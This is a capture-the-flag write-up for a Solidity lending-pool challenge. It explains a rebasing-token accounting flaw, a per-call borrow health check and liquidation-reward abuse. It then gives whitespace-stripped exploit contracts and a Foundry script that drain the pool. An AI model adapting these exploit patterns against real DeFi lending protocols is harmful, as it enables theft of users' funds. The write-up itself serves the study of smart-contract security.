Initially, there are 10,000 .Hack USD, 10,000 .Hack WETH and 10,000 .Hack RebasingWETH in the .Hack lending pool. RebasingWETH can be used to withdraw WETH. The account who registers for the challenge will be recorded as the solver and receive 10,000 USD and 10,000 WETH. When the solver holds 20,000 USD and 30,000 WETH, the challenge is solved. That is, we need to drain tokens in the lending pool
The lending pool has the basic functions of a common lending pool, such as depositing liquidity, borrowing, and liquidation. In the depositLiquidity() function, the amount added to the liquidity depends on how much the balance has changed before and after the transfer. This pattern is problematic for .Hack RebasingWETH. Because balanceOf() returns the amount of underlying tokens corresponding to the share balance, while transferFrom() transfers the amount of shares. If exchange rate is larger than 1e18, depositing 1 share can increase liquidity by more than 1. Meanwhile, withdrawLiquidity() checks against the recorded amount
The borrow() function performs a healthy check to see if the collateral is sufficient to cover the borrow amount. However, it checks against the borrow value in the current call to the borrow() function instead of the total borrow value. So, malicious users may borrow many times as long as the healthy check is met each time, leaving bad debts
After malicious borrowing, the liquidate() function can be utilized to withdraw collateral tokens. Since the price difference between USD (1) and WETH (3000) / RebasingWETH (3100) is large, an intuitive idea is to use USD as collateral and later withdraw all USD with a small amount of WETH / RebasingWETH through liquidate() without repaying all debts. Liquidation increases rewards for liquidity providers (avaliableClaimableReward), which can be used to withdraw paid WETH / RebasingWETH
contractBorrowHelper{uintconstantINITIAL_AMOUNT=10000ether;uintconstantBORROW_AMOUNT=2ether;uintconstantREPAY_AMOUNT=3ether;Challenge_challenge;address_collateral;address_asset;constructor(Challengechallenge){_challenge=challenge;}functioninitialize(addresscollateral,addressasset)external{_collateral=collateral;_asset=asset;Challengechallenge=_challenge;DotHackLendinglending=DotHackLending(challenge.dotHackLending());IERC20(collateral).approve(address(lending),type(uint256).max);IERC20(asset).approve(address(lending),type(uint256).max);lending.depositCollateral(collateral,INITIAL_AMOUNT);for(uinti;i<10;++i){lending.borrow(collateral,asset,BORROW_AMOUNT);}lending.updateAsset(asset);// To update globalIndexlending.depositLiquidity(asset,INITIAL_AMOUNT-REPAY_AMOUNT);}functionborrow()external{Challengechallenge=_challenge;addresscollateral=_collateral;addressasset=_asset;DotHackLendinglending=DotHackLending(challenge.dotHackLending());for(uinti;i<499;++i){lending.borrow(collateral,asset,BORROW_AMOUNT);}}functionliquidate()external{Challengechallenge=_challenge;addresscollateral=_collateral;DotHackLendinglending=DotHackLending(challenge.dotHackLending());lending.liquidate(address(this),collateral,REPAY_AMOUNT);IERC20(collateral).transfer(msg.sender,IERC20(collateral).balanceOf(address(this)));}functionclaim()external{Challengechallenge=_challenge;addressasset=_asset;DotHackLendinglending=DotHackLending(challenge.dotHackLending());lending.claimReward(asset,REPAY_AMOUNT);lending.withdrawLiquidity(asset,INITIAL_AMOUNT-REPAY_AMOUNT);IERC20(asset).transfer(msg.sender,IERC20(asset).balanceOf(address(this)));}}contractRebaseAbuser{uintconstantINITIAL_AMOUNT=10000ether;functionexploit(Challengechallenge,addressasset)external{DotHackLendinglending=DotHackLending(challenge.dotHackLending());addressrebaseWeth=challenge.dotHackRebasingWETH();IERC20(rebaseWeth).approve(address(lending),type(uint256).max);lending.depositLiquidity(rebaseWeth,INITIAL_AMOUNT);lending.withdrawLiquidity(rebaseWeth,INITIAL_AMOUNT);lending.depositCollateral(rebaseWeth,INITIAL_AMOUNT);for(uinti;i<2;++i){lending.borrow(rebaseWeth,asset,INITIAL_AMOUNT/2);}IERC20(asset).transfer(msg.sender,INITIAL_AMOUNT);IERC20(rebaseWeth).transfer(msg.sender,INITIAL_AMOUNT);}}contractSolveisScript{functionrun()public{vm.startBroadcast(vm.envUint("PRIV"));Challengechallenge=Challenge(vm.envAddress("CHALL"));vm.roll(block.number+1);Hackhack=newHack(challenge);hack.initialize();BorrowHelperhelper=hack.rebaseBorrower();for(uinti;i<10;++i){vm.roll(block.number+1);helper.borrow();}hack.exploit();require(challenge.isSolved());vm.stopBroadcast();}}